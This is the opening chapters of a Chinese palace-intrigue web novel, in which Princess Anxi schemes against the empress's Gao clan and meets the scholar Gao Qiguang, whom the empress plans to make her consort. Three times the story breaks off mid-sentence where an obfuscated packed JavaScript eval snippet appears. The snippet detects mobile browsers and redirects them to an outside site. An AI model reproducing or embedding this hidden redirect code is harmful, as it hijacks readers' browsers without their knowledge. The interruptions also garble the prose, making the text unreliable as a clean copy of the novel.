《攻略驸马后让他杀了我》 1. 独艳春台 掖庭令张春此日当值,领了一队宫婢往鹤羽宫安置。这行女孩原是去岁秋后选入宫掖,数月教习,并不曾踏足内廷,只日日慑于宫规森严,一路上饶是重檐层叠,殿宇辉煌,却无一人敢胡乱张望。 众人敛声屏气穿梭于禁城,不知几许才望见鹤羽的门额。依据张宫令的训言,女孩们皆知,此地是天家皇子和公主的居所,南宫为皇子居,北宫则是公主院。 张春将众婢引至道旁,待本宫宫令王伦前来交接,正欲再行叮嘱,不意却忽闻墙后传来一阵怒骂声,虽字句不清,音色竟又十分铿锵,顿时教人寒毛一竖。 “什么地方?也敢放肆?!” 小婢惊惧之下难免抬头四顾,张春倒极快敛容,两句话又唬得她们白了几层脸色。再瞥眼间,廊庑下一个绿袍宫官果是来了: “你到得也是时候!” 王伦一面信步而来,只是取笑般看着他,近前大略扫过一排宫婢,却将张春拉到了另侧说话:“三年了,你还不懂?那处奉承的人,第一是胆大,听两声就吓得这样,还想当面去呢?” 张春乍听诧异,旋即皱眉一叹,道:“这安喜公主又为什么事呢?她的人上月才换过,我只以为是别院挑人,你何不趁早说!” 王伦笑笑,又将人带远两步,方低声道:“如今尚服局想是要翻天,连公主褕翟礼衣的形制也缠不清,九树花钗送来了八树,还想讨什么好呢?这不,正要杖人呢!” 张春听来不由点头,想起上元庆典在即,内外命妇必要按品阶着装,这本是没有余地的事情,又偏栽在那位安喜公主身上,大约送掉几条命都难罢休。便不敢再多迁延,只道: “那人我先领回去吧,改日换了来。” 王伦哂笑:“你便不领回去,我今日也不敢送上去。” 张春摇了摇头,心下索然,终究领着众婢原路折返。 * 鹤羽宫北最为宽阔的一处内院正是肃雍堂,此刻堂前已是一片落花流水的景象。内侍宫婢,滚爬扑跪,当中一条刑凳上按着一个青袍女官,不及杖下,衣襟已乱,束带已散,只剩一点残息,泪断如雨。 肃雍堂的主人安喜公主萧同霞于人前亲手执杖,似有留情的意思,许久不曾行动,忽却一笑,将杖子直抵女官额上,道:“我有一念之仁,可换你皮肉之苦,你肯不肯?” 女官不敢轻心,耳内只听脊骨脆响乱弹,脖颈将被折断一般,万不得已才应承:“妾万死,只求贵主留妾一命!” 同霞抿了抿唇,果然松了杖子,随手撂在地上,向身侧唤道:“去把那八树花钗捧上来。” 承奉侍女稚柳一直静默肃立,闻言蹙眉,无声一叹方转身而去,顷刻端来花钗,也不曾即时呈送,缓缓道:“公主,何苦……” “连你也要欺我?!” 并不等她说完,同霞一声盖过,面上愠色重燃,抬起一手捶翻花台,金银珠玉霎时散落,悉数打在那女官的头上,又道: “捡起来,一件一件都戴好,然后回尚服局去吧!” 按本朝服制,公主位在一品,礼服的纹饰俱该是九等,纵是八等,也要二品命妇才能配享,叫一个青服女官插戴八等,一路招摇,等同便是抄家灭族的刑罚。 地上众人登时惶惧不已,再三缩退,那女官更如头遭霹雳一般滚跌在地,笃笃叩头,三五下便磕得满脸是血。 同霞见状,只嫌恶地退开一步,眼中厉色不减:“怎么?不是你叫我开恩宽恕的么?这泼天的恩典竟瞧不上?” 穷途末路的人早是神志混沌,顿首不歇,哪里还有话回。同霞见状,只当她愈加猖狂,正欲再作发落,不防哪里窜来一道身影,霎时就挡在了她面前: “肃雍堂的人就是这样侍奉公主的?还不快把这奴子拉下去!她自己做错了事,公主赏脸教导,还真叫她登堂入室不成?!” 此人站下便是吐字连珠,同霞稍后回神才瞧清楚是谁,立马将他拉住,道:“这里哪有你的事?休要多管!” 转对同霞,他很快缓了面色,却不应答,抬眼示意一旁的稚柳,手臂一翻,反客为主,将同霞直接带进了廊下的暖阁。同霞自是挣扎,却终究抵不过他的力气。 “萧遮,你也想帮着他们来欺我?”虽已被困,同霞仍不减怒气,双目瞪视,眼眶通红,“你别忘了,我可是你姑姑!不是你能随意摆布的!” 名唤萧遮的少年注目同霞,忽却咧嘴一笑:“我这小姑姑,天生丽质,聪慧过人,谁能摆布?谁要欺她,我萧七郎也是第一个不许的!” 不过是哄人的酸话,同霞从他嘴里不知听过多少,并不领情:“你来得倒快,是尚服局的人搬救兵了?你被收买了!” 萧遮连忙摇头:“我如今也是封爵在身的济阴王了,区区尚服局算得什么?”说着又瞥了眼窗外,颇显神秘,才道:“是我娘遣人传话,叫我来拦着你,免得闹大,叫皇后给你一顿好颜色。” 同霞只把后一句听进去了,反问道:“这事传得再快,如何德妃娘娘先知道了?他们要叫我吃亏,不应该先惊动皇后么?” 萧遮原是在南宫自己院中坐着,并不知母亲那处的细情,想了想道:“侍女报说阿娘就在甘露殿,想来皇后也已知晓,只是阿娘必定劝了,加之皇后近来也无心旁骛。你哪里不知?三姐下个月就要大婚了,她可是皇后唯一的孩子。” 这番话倒很合情理,同霞思量至此,怒意也不觉消散了,就势坐于窗前茵席,倒了茶送入口唇,“德妃娘娘既这样疼我,三年前何不就应了陛下所想,抚育我呢?偏要将我推给皇后。” 一碗茶饮尽,洇润的嘴角浅浅一弯,又道:“高氏一门,两代为后,如今更是独女做王妃,长男尚公主,观之朝野,谁能比肩?” 萧遮默然听罢,只无声一叹,拣了另侧茵席坐下,伸手牵了牵同霞衣袖,“陛下虽对阿娘有宠,但你毕竟是先帝的公主,自该由皇后抚育。阿娘不过是求自保,在心里护你也是一样的。况且,我不是天天陪着你么?那些名分之事都是虚的。” 同霞挑了挑眉,漫不经心:“你十五了,也封了爵,恐怕很快就要离宫开府了,再等元服大婚,就有王妃陪着你了,终究剩我一个孤魂野鬼。” 萧遮不意话端及己,脸颊飘红,结舌半晌才回道:“那些我还没想过,可我要成婚,你倒不选驸马么?再过数月便是你将笄生辰,陛下定不会忘记。” 不知又想到了什么,他忽然眼色一亮,嘴角跟着翘起来:“高惑哥哥不就是现成的好人选?他比我还关心你呢!” 他此情此景提到这个名字,同霞倒真不意外,不过一笑:“从蓬莱公主指婚高懋那日我就明白了,高家不可能再娶一个公主,尤其是我,——罢了。” 萧遮望见同霞眼含深意,似懂非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655831|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懂,一时不愿深究,低头之际,又闻同霞道:“高惑近来做什么呢?” “弘文生能干什么,日日在弘文馆读书呗!” * 因是设于宫禁的学馆,又与天子理政的中朝宣政殿相距不远,弘文馆便与诸官行署无异,进出道旁皆有禁军戍卫,堂阁轩室也不闻一丝嘈杂。 弘文生高惑坐在学堂靠窗席位,因一时休课,方觉眼酸,低头揉捏睛明,再抬头时,竟忽觉周身促狭,左右掣肘—— 余光向右:“小郡王?”再往左瞧:“公主?!” 左右挟制他的人虽都认得,却更叫他脊骨一僵,面色由红转白,又白中透红,一双眼珠子都快滚了出来。 萧遮和同霞才到此间,躲在檐下探查,一眼便望见了青褾深衣穿戴的高惑,于是从后夹攻,半点也没叫敌人察觉。 “哥哥自从岁末入学,竟连面也难露了,可是把我们忘了?”萧遮捧腮撑在案上,目光与同霞交通,率先取笑道。 同霞便随后就道:“大约正是这样,他如今白天忙着读书,蓬莱公主不日便要出降,回家想也是不得闲的。” 高惑是皇后内侄,当朝右相高琰的次子,因这层缘故,自幼便在内廷行走,与皇子公主皆是熟识。却虽如此,也架不住他们这般礼贤下士,一时讶异稍解,心中也尴尬得紧: “臣其实……”干笑两声,目光徘徊,定在同霞面上,“臣知错,就罚臣上元之日给公主奉上一份贺礼,如何?” 萧遮虽被赫然弃在赠礼名单之外,却顿时笑出声来,被同霞一眼瞪了回去。可提起上元,同霞也不禁想起那八树花钗,兴味减了大半,低眉垂目,随意摆弄起案上堆放的书册:“我不要。” 高惑微微一愣,觉察出异样,忙转看萧遮:“发生什么事了?” 萧遮迟觉,这时想来三两句也难说清,便只晃了晃脑袋:“哥哥别问了,没什么大事。” 气氛由此沉下,两双眼睛殷殷相望,都被同霞余光收入。案上书册不过五六卷,被她颠来倒去,却更添无趣。正欲寻个由头离开,忽觉头顶压下一片阴影,不及抬头,只见高惑骤然起身,拱手称道: “高学士。” 这位高学士就站在窗外廊下,想是恰好行到此处,望见窗内三人并坐的奇景,横生好奇。他并没有说话,目光黝黝,已落回高惑一人面上,然后也略还过一礼。 他为什么不问? 同霞也心生好奇,眼睛不避讳地将他上下端量:至多二十四五的年纪,头戴乌纱折上巾,身上绿袍银带,极是合身——常人官服总见肩胛处褶皱堆叠,他却撑得身形如削,方正挺立。 大约又是他这服色作祟,同霞脑中忽然浮现猗猗绿竹,瘦立西风,又有青翠苍松,独艳春台…… “人呢?”同霞并不觉自己失神,转眼却已人迹杳然。 “好冷淡的性子,他是什么来历?”萧遮也追问道。 高惑将两人左右看过,轻呼了口气,道:“他是六品直学士高齐光,永贞二十年登进士第,中在二甲第九十八名,便因这名次不高,放了外任,日前才自兖州经学博士任上转迁。” 含笑又道:“也正是我父亲提携的。父亲很喜欢他,因这高姓,还与他结了宗,私下就算是我的义兄了。” “义兄,义兄。”同霞口中喃喃,心想此人履历虽则平常,身份倒是妙得很。 2. 沾衣不惜 那姓高的妙人既已无踪,不待片刻,同霞便叫了萧遮回宫。然而才到内廷之界,同霞又忽说要去问皇后安,萧遮不便随行,劝了几句平心静气的话,目送她转道而去。 甘露之殿,国母所居,内廷嫔御皆奉若瑶池仙宫,连后园墙角的一树孤桃,也能赞是上仙所栽的古植。念及此,同霞脚步已至殿外,抬眼正见“甘露殿”三个赤金大字,一瞬竟胸中泛呕。 稍平了平,同霞低声招来檐下守候的一个小婢,问道:“德妃走了么?皇后在做什么?陛下呢?” 小婢垂首回道:“德妃娘娘辰时来请安,正逢尚服局送了蓬莱公主大婚的礼服来,娘娘便走了,皇后和公主还在内殿。昨日陈内官传过话来,说陛下会来用午膳,但此刻圣驾还未至。” 蓬莱公主萧姣是帝后唯一掌珠,因婚期将至,母女难舍,近一月都住在甘露殿,皇帝便也时常驾幸。这是宫中人尽皆知的。但别的事虽稍出意料,却也因此,忽成了锦上添花的功德。 “我知道了,你且去,不必通传。”同霞含笑点头,转看天色,日将正午,快了。 * 德初三年正月之始,皇都繁京便落了一场极大的雪,松僵竹折,天地一白,直至如今上元将近,楼台积玉才稍见消融。 天子萧平自宣政殿出来,因见雪晴天清,兴致大好,未乘步辇,只漫步往甘露殿去。随驾的大内侍陈仲一路都紧盯脚下,生怕道上冰滑,伤了圣体。 眼看顺利到了甘露殿,正欲通禀皇后接驾,陈仲偶一瞥眼,倒见转廊柱后倚着个人,背影是紫袍玉带,身形却是单薄女子—— “小十五?”未及陈仲处置,皇帝却先叫出了名号,紧接着面色一惊,指使随从道:“快!去扶起来!” 陈仲眨眼间便明白了缘故,三两步跨去,跪地将人扶住,“哎呀!如此寒天,安喜公主怎么好在这里睡呢?!” 同霞似是沉睡,耳畔轰动至此才慢慢睁开了双眼,身前搀扶之人已换成了天子,“陛下?十五见过陛下!”她又一味显露惊喜,参拜之礼也被皇帝止于话间。 皇帝一路走来通身发热,此刻便只觉她颊腮冻得通红,触及的衣裳也僵硬了,急道:“你这孩子不知道冷么?”扫视左右,又质问道:“公主没有人跟着吗?!” 若非正式不得的场合,同霞向来不喜仪仗,至多是侍女稚柳相随,她笑笑,身体不禁一颤,“陛下息怒,听十五解释!” 见她还能透出顽皮相,皇帝无奈摇头,直接解了自己的氅衣为她披上,“你说,你说!可又闯什么祸了?” 同霞凭皇帝关怀备至,亮晶晶的眸子如炫耀般拂过陈仲等一干随侍,又自正殿处环过一圈,方压低声音开口: “今早尚服局送了我的礼衣来,却把九树花钗送成了八树。我想近日上元庆典在即,蓬莱的大婚之典也在下月,礼仪之事,关乎天家尊严,岂能出这样的纰漏?” 话才说到一半,皇帝神色已暗了一层,同霞只佯装不察,继续道:“可又一想,大约也正因蓬莱婚事,尚服局日夜筹备,才至稍有疏失。我来此,原是多心想看看蓬莱,怕她的婚服也出了什么岔子,那就是正经大事了。” “那你为什么不直接进去呢?难道皇后为了蓬莱,余事就都不管了?”皇帝瞧了眼正殿,凝肃的面容上又添了浅浅嫌恶,“朕早便说过,内廷无拘,只以家人之礼相待。你是蓬莱的姑姑,此等关怀之意,何必与她母女见外?” 同霞缓缓点头,柔声道:“陛下这话倒说远了,我不进去,只是听闻皇后娘娘正在教导蓬莱,打断了倒不好,索性等一等,不意竟冲撞了陛下。” 皇帝轻叹了口气,眼神仍含嗔怪,并不再多说,又亲自替同霞压了压氅衣,唤了陈仲护送她回鹤羽宫。同霞见状,也已言尽,颔首告退之际,唇角勾起了一丝若有若无的淡笑。 * 此后的事情不仅未出同霞料想,而且多有意外之喜。 萧平那日没再踏入甘露殿,午后便下旨为蓬莱公主另置青宫,婚典之前不许再与皇后同住。而尚服局疏忽在前,尚服主事二人则被驱逐出宫,罚为皇陵苦役。 只不过于外大胜,于同霞自身,到底是受了寒气,一病连日,错过了上元庆典。 “公主爱惜自己一些吧,那些事再高兴也养不了身子。” 稚柳手捧汤药进到暖阁,一见同霞脸上凝神发笑,便知她又不曾静心休养。跪于塌下,又劝道: “再不好起来,是连蓬莱公主的婚典也不去了?” “打住!”同霞虽凝思,却并没恍惚,适时地接了话,斜去一眼,“数你不怕我,我也领你的情,就越发敢教训我了?那天我要杖人,你还想拦我!” 稚柳咽了声,将放置小案上的汤药轻轻搅动散热,只不时抬起一双心疼的目光。这却是同霞见惯了的样子,沉默片时,不觉叹声: “当初我未有受封,阿翁挑了你来做我的彤史,教导起居礼仪,我就知你是我可信之人。而如今我身边也只有你一个知心人了,姐姐,你知道,我没有别的路可以走。” 同霞忽而提及往事,稚柳已觉心惊,再闻那一声“姐姐”,便更觉五内震颤,惶恐泪下: “公主!妾只是怕……只是觉得目下处境受限,还该韬光养晦才是。若公主这般,本就体弱,还成日动气费心,天长地久可怎么得了?也叫妾来日何颜去见周翁呢?” 这些道理亦是耳熟能详的了,同霞频频点头,递上帕子给她拭泪,笑道:“所以我真打算好好养病的,连蓬莱的婚典也不会去。皇后也只怕乐见我不去,她唯一的爱女,也是高氏唯一的公主大婚,就彼此都不要添堵罢了。” 稚柳倒不曾细想至此,渐渐松下心来:“其实依妾浅见,陛下待公主还是好的,正是有陛下庇护,公主每常闹出动静,也不会有什么惩戒。那有些事,便可以揣摩着圣意去做,不必过刚过直,凡事都自己冲在前头。” “这确是浅见了。”同霞不及听完便摇了头,“陛下的好,实则是因为他并不钟爱皇后,我才能屡屡‘投其所好’。你莫忘了,高家虽两代为后,却两代都不曾生育男孩。陛下是先帝的庶长子,因记在高太后膝下,才被立为太子。而本朝又故技重施,皇后择了陛下的庶长子肃王萧迁为继,来日亦必有储位之争。” 虽身处深院内阁,并无第三人,她出言大胆也叫稚柳吓出了一层冷汗,“公主慎言!” 同霞却抿笑又道:“先帝弥留,方遗命陛下授我名位。为此我如何忍辱含垢,你是清楚的。所以,凭陛下待我如何,我都不屑所谓君王眷恩——衣沾不足惜,但使愿无违!” “公主……”稚柳不敢再引她说下去,气息一顿,憋回了胸口,“公主,吃药吧!” 饶是稚柳贴心体己,同霞亦从未对她这般袒露心迹,或有一丝意气冲动,说完也只觉心底脑中一派清明,“好,我这就听你的。” 稚柳这才抹了把额上细汗,正欲提勺侍奉汤药,门外却忽响起小婢通传之声:“公主,济阴郡王来了。” 同霞起病之初,萧遮每日必到,后来接连庆典宫宴,倒有三四日不见了,于是同霞很快整理披衣,传了萧遮入内。 萧遮顷刻来到帐前,步伐带风,急急就问:“不就是寻常风寒么?怎么还不好?”稚柳与他搬来杌凳,要侍奉他褪下外氅,也被他一手抵开,“脸色也不好。” 他急如星火,同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655832|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霞竟无处插话,只好将他招到榻边坐下,亲自替他解了氅衣,却一见,他衣下两手也没闲着,捧着个描金方盒,“什么好东西?” 萧遮这才低了低头,掀开盒盖举了过去:“是糖,高惑哥哥叫我带给你的。他早知你病了,又连着几场御宴都不见人,担心坏了。” 糖是同霞钟爱之物,日日不断。刚刚若是萧遮不来,她还正想取糖佐药。此刻看这糖盒,整齐分了四块,白色乳酥糖,花灰的芝麻糖,还有红绿的两种,一时瞧不出原料,倒都是精致漂亮,引人垂涎。 “他就当着人给你了?”同霞只随口一问,挑了块芝麻糖含在口中,也给萧遮塞去一个,“今年御宴可有什么新鲜事?” “他自然是背着人叮嘱我的。”萧遮吮了吮糖,想来摇头:“你不在,我也无聊,别人都不同我亲近。” 同霞不由一笑,想他说的“别人”,不过就是他的兄姐之属。 除去几个尚在幼龄的小皇子,他是目下长成皇子中年纪最小的,又是赵妃独子,与众兄姐既隔岁也隔母。这本已足够叫他孤立于皇室亲缘,却又添了他母妃有宠之故,更是遭人嫌妒。 他能与同霞亲近,除去当年皇帝曾有意叫赵妃抚育同霞的前因,便是同霞与他年岁相仿,境遇相似——但,二人交好也无疑是雪上加霜,互为牵累。 “哦,对了!也有件闲事,我胡乱听来的。” 不及同霞收回散乱的思绪,萧遮忽然惊怪了一声,转头先叫稚柳退守外间,方才继续: “前日芙蓉殿御宴,几个宗妇席间取笑,说大哥近来连添了两个儿子,却都不是王妃所生,又说册妃已有五年,却一无生养……便,便提起高家,说高家的女儿似乎都难以生育,独一个蓬莱公主,不知将来能不能为高家延绵子嗣,若不能,公主又岂能甘心让驸马纳妾。” 他语音渐渐沉顿,面露情怯,同霞却是心无波澜,待他声落,只微微一哂:“高氏女儿,子嗣不昌,原非隐秘。佛家说业报通三世,可不知是不是前人造业,后世受殃。” “什么业报?”萧遮没有听懂,挠了挠头,“高家怎么了?” 同霞并不掩饰,复作一笑:“没怎么,我看佛经上说的。” 佛经一类过于晦涩,萧遮自认没那个慧根,不欲深究,又自糖盒中捻了块糖放进口中,“这几个味道还挺好吃的,高惑哥哥给我的时候——哦!” 不知还有什么稀奇,又见他咋呼一声,同霞只觉耳痛:“你有事一次说完!难道专骗我的糖吃?” 萧遮惭愧一笑,忙关了糖盒,仔细放去了同霞枕畔,才道:“你还记得那日在弘文馆遇到的高学士么?高相真是极爱重他,连御宴也带他从旁侍应,叫他同高惑哥哥坐在一处,高惑哥哥给我糖盒也没避开他。不过,他只是瞧了几眼,没多问。” 同霞似在勉强回忆,半晌才缓缓说道:“嗯,我还记得,是叫高齐光。”抿抿唇,又道:“你还打听他什么了?” 萧遮万事都摆在脸上,也从来瞒不过同霞的眼睛,便老实道:“我只是觉得他奇怪,总不说话,却又并非谨小慎微的小家子相。反而风度出众,惹了席间不少眼光。我便问高惑哥哥他是什么出身,原来也不过就是薄祚寒门,家在清河郡,双亲已逝。” 同霞觉得有趣,若赞许般点头道:“李斯以闾阎相辅始皇,陈平以布衣智谋汉室,可见白屋贵子,历来有之。便凭他蒹葭倚玉,高琰哪里连这点识人的眼力都没有?” “这话也是。”萧遮并不是看轻之意,顿了顿却忽一笑:“如此说来,他倒是把高惑哥哥比下去了?” 同霞不料他语出促狭,一瞬发怔,辗转却并没生气,“不说了,吃药。” 3. 杏园新句 同霞的这场病,对外足足是闹了一月光景,连皇帝都亲临肃雍堂探望过两回。她便半真半假地养着,直至听闻皇后要为新婚的蓬莱公主和驸马高懋举办一场家宴。 到了这日,同霞鲜少地吩咐稚柳为她仔细妆扮,临窗对镜,鬓边拂过的习习轻风虽尚欠和暖,越墙而来的啾啾鸟啼却已颇显浮躁。这德初三年的孟春,注定要与过往不同了。 “公主看看,可有不妥?” 不必一时,同霞的模样已焕然一新。头上反绾双鬟,面上娥眉淡扫,只着意在眉心贴了枚桃形花子。一袭窄袖绿罗裙,轻容纱的披子,通身虽无簪珥珠玉之饰,却端的是婉约清新。 “嗯,就要这样。”她抚了抚耳边垂下的碧色丝绦,对着镜中的稚柳莞然一笑。 * 直学士高齐光行在内廷宫道上,一个青年内侍在前引路,所往的方向是皇后的甘露殿。虽已参加过数次御宴,却都只在专门的殿阁,并未踏足宫眷居所。因而他一路低眉默默,极是恭谨。 “高学士,请在此等候片时,容小奴先去回话。” 应该并没有到甘露殿,内侍却忽然将他留在了一处小径上。他想发问,那内侍已顷刻转没了身影。四周花树环绕,假山瑞石,显是一方林园,略走了几步,也再没看见旁人。 想来无解,他仍站回了原处,垂目之间,余光划到道旁草下,一顿:一枚月白丝囊,锦光熠熠,不像丢弃不要的东西。迟滞片刻,他弯腰去捡,却不及触碰,只觉身侧移来一团阴影。 “那是我的承露囊,还我。” 丝囊主人骤然出现,叫高齐光不及拨云开雾,就从这颇有些傲慢的命令中领略了她的面貌。并没过多迟延,他终究拾起了丝囊,直起身前,自然地退开了一步。 他以双手呈上丝囊,眼眉低向这主人的绿罗裙角,却又听她问道:“你为何在此处?” 她似乎先该问他是谁,他也似乎先该疑惑她的身份,但像是奇怪的心照不宣,彼此都表现得平常。 “回安喜公主,皇后传见,臣本是要去甘露殿的。”他这才缓缓抬起眼睛,四目相接,方又稍低了半分。 这状如初见,实则并非的情态被他演绎得浅显而又大胆,忽然便叫对面的始作俑者当真惊了一惊:“你何时认得我了?你问了高惑?” “回安喜公主,臣确从高二公子口中听闻。” 他语出迅速,安喜公主萧同霞复是一愕,握于腹前的手不由掐紧,目光打量,半晌才略见平复,“那日在弘文馆,你为什么不当面问?难道是我着了男装,你没认出我是女人?” 高齐光呈送丝囊的双手一直举着,此刻便直接以此姿势立拜了一礼,道:“公主那日身着紫袍,腰束蹀躞七事,乃是本朝三品武官的服制。臣就算不辨男女,也知衣紫者不可能是个未冠少年。臣没有当面问,则是因臣下车伊始,才蔽识浅,未敢轻狂。” 他自起身,举动言辞滴水不漏,同霞不觉心中暗叹,不再无谓遮掩,从容一笑:“那你今日倒敢轻狂了?” 高齐光微微抿唇,眼睛抬至丝囊齐平,只道:“臣,仍不敢。” 同霞笑出声来,音色清灵,然后伸去一指点了点丝囊,“这里面放的是糖。”又道:“我从小就喜欢吃糖。” 高齐光不语,将双手又向前举了举。 同霞只视若不见,忽而将身子伏低,又在他面孔之下扬起脸来:“高齐光,你看着我。” 她一张雪净素颜,两眸点漆般,闪着慧黠的光泽,分明是故弄玄虚,却又真切展笑,显露唇角一对梨涡,叫高齐光竟不留神,真与她对看了一晌,方觉荒唐,急退拜倒,“臣无状!” 同霞并不叫他免礼,含笑俯视,又道:“高学士既捡了我的糖,是要吃呢,还是要还?” 她甫一出现便是叫他物归原主,他举出的双手也从未收回,可这话却是将一切推翻——看来,这才是公主的目的。 “那么,公主是故意抛给臣的,还是无意?” 此一举,是他以其人之道还治其身,同霞缓缓点头,眼中唯有称赞之意:“你去吧,甘露殿就在前头。” 话音未落,一袭绿影已翩然离去。高齐光凝神片时终于放了双臂,丝囊仍在掌中,离得近了方闻到丝丝甜腻的气味,里面果然是糖——那日,想必也是。 人非初见,物亦如是。 * 甘露殿的家宴直至将晚方散,皇后高玉由侍儿扶进内殿更衣,虽有些疲乏,脸上仍不减喜气。近侍罗兴原是高玉几十年的心腹,见状不免恭维道: “蓬莱公主与驸马自幼一起长大,本是情谊深厚,如今合卺礼成,自是凤侣鸾俦,百年偕老的。陛下还新授了驸马羽林卫军职,仪从护卫,无限风光啊。” 皇后半倚玉榻养神,闻言却只一叹:“高懋好是好,就是文气不足,武力有余,如何不能像他父亲一样,好学些,来日朝堂……”顿了顿,又一笑: “倒是二郎,我看越发风姿俊逸,听说在弘文馆的课业也很好,经文书史,竟都难不倒他。” 罗兴于高家的事也是一清二楚的,笑道:“二位公子各有长处,将来一文一武,自是朝廷肱骨,肃王臂膀。” 提及肃王,高玉不由斜睨了罗兴一眼,想起了近日关于肃王妃高慈无福生养的闲言。而白天的宴席上,肃王夫妇虽相携同来,入座之后却总见貌合神离。 “娘娘,此事要忍。”罗兴观察半晌,也不难从高玉神情中摸到关键,“王妃尚且年轻,一时无所出并非动摇根本的大事。而那几个有宠的庶妃,却是陛下亲自为肃王选定的官家女子。娘娘只有教导她们和睦相处,才是为肃王今后着想。” 就因独女大婚,高玉近来的心思多在儿女事上,有喜便来忧,她也是一时郁闷,未必不知道理,便摇手作罢,缓道:“其实哪一件事不是为肃王着想,尤其是我哥哥……” “娘娘可是累了?”忽见高玉皱眉,罗兴倒体察不准,正要唤人侍奉,却听她道: “哥哥从兖州带来的那位高学士,今日还特意传他到家宴来。听哥哥的意思,是要荐给肃王做宾客。不知有什么过人之处,倒是长得一副好样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655833|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 貌。” 高琰累侍两朝,老成谋国,罗兴不敢臆测他的心思,但一听“高学士”三字,脸上却浮现幽幽一笑,“确是个玉貌潘安,只是也不止娘娘如此赞他,还有旁人呢。” 他话中有话,神色怪异,高玉只问:“你早打听过此人不成?” 罗兴不敢在皇后面前卖关子,立马解释道:“今日遣去弘文馆传他的小奴后来向臣禀报,说安喜公主半途将他留在了杏园,说了好些话才放他过来。” 这位病榻缠绵的安喜公主近乎荡失在高玉的脑子里,忽然这般不可思议地登场,直惊得高玉倒吸冷气:“她,她的病好了?” 罗兴抿笑点头:“必定是好了。” * 就算是贵为皇后,循制也不能擅见外臣,可谁知甘露殿家宴才过三日,高琰又于散朝离宫的夹道上被皇后遣人传见。他想不到缘故,也没问出底细,一待兄妹相见便问道: “前番内宴是为公主回门,此刻又唤臣来,皇后就不怕陛下怪罪?” 高玉却一副泰然神色,屏退左右,只道:“此事只能问哥哥,拿定了主张便可对陛下一言。” 高琰越发稀奇,想来皇后求教,定无关朝政,既无关朝政,内廷之事又怎好叫他主张,“皇后快说便是,臣不能久留啊!” 高玉点头道:“安喜公主年将及笄,哥哥以为,就招那位高学士为驸马可好?” 此言显然大出高琰所料,惊得他手中笏板都一时松落在地,然而怔忡半日,他却并未出言反驳,“皇后素来不喜安喜公主,为何忽然操心她的婚事?况且皇后之意,公主会听么?” 高玉心中自然已有章法,亲自拾起笏板交还高琰,从容说道:“当年赵妃作态推辞,将她送到我这里,我还以为不必费多少心思,毕竟已有十二岁。可谁能想到,堂堂帝女竟生得天性顽劣,举动乖戾。大事小情,一不如意便能亲自动手,莫说是坤顺之德,婉娩之性,寻常闺阁女仪也无半分。女师择了不下十个,也毫无改善,我虽可训教,算来又是姑嫂,不好太过。如此人品,偏陛下还宠爱她,她便每每趁机矫情,就如上月礼衣之事,我只能吃了暗亏。” 高琰并非初次听她细数这些委屈,但听来却一味平静,道:“难道皇后就是因为安喜公主名声不堪,才想给她选一个寒门驸马?那高齐光虽是一表人才,出身却委实低了些。我看重他,与皇后此意,也是大不相干的。” 高玉只觉“一表人才”四字绝妙,正中了她今日要义,抚掌笑道:“可不就是亏得这一副好相貌么!”紧接着便将日前罗兴所禀杏园之事说了一回,又道: “安喜自然不会听我的,可她要是自己喜欢,我养她一场,如她所愿,陛下面前我也算尽了心了不是?她早一日出嫁离宫,我也早一日清净。” 高琰深吸了口气,抚须蹙眉,片刻后点了点头:“安喜公主身份特殊,既名由皇后抚养,也该——算是我高氏的公主。” 高玉却不解最后一句的意思:“哥哥想如何做?” 高琰一笑道:“皇后宽坐,听臣细细解释。” 4. 精卫衔木 高琰回到繁京城西光禄坊府中已是此日申时,因与皇后筹谋之事尚需安排,思量来去,唤了下人去传次子。高惑也才自弘文馆归家,忽听父亲寻他,不敢怠慢,顷刻便到了。 其实如今家中就剩了他一个孩子尚在膝下,但父亲位列朝首,政务繁杂,向来也不大会单独叫他。因而父子相见,他未免生疏无措,礼罢只僵硬站立: “不知父亲唤儿前来有何吩咐?” 高琰倒是一派平和,看他笑道:“你也年将二十,是长大了。近日你姑母,还有弘文馆博士都向为父赞你勤勉长进,我心甚慰。” 父亲难得传见,应该不会专为闲谈,待要谦辞,又见父亲向他招手,只好近前回话:“多谢父亲,儿不敢自矜。” 高琰满意点头,抚向他肩膀,这才说道:“此前我让你同高学士相交,我看你们十分投契。他虽为寒士,却在你这个年纪就高中了进士,才未可量,前途亦不可量。” 言及此,高琰又感叹一声,方继续道:“但如今,不止是为父有意卓拔他,便是你姑母也一见甚喜,今日便对我说,想要将安喜公主赐婚于他。所以,为父是想叫你先去向他传达此意,早做准备。” 听到前一句,高惑还狐疑父亲未必真是要和他闲聊琐事,只待“安喜”、“驸马”数语一出,顿时便如当头霹雳:“姑母缘何看上了他?!公主也愿意么?!” 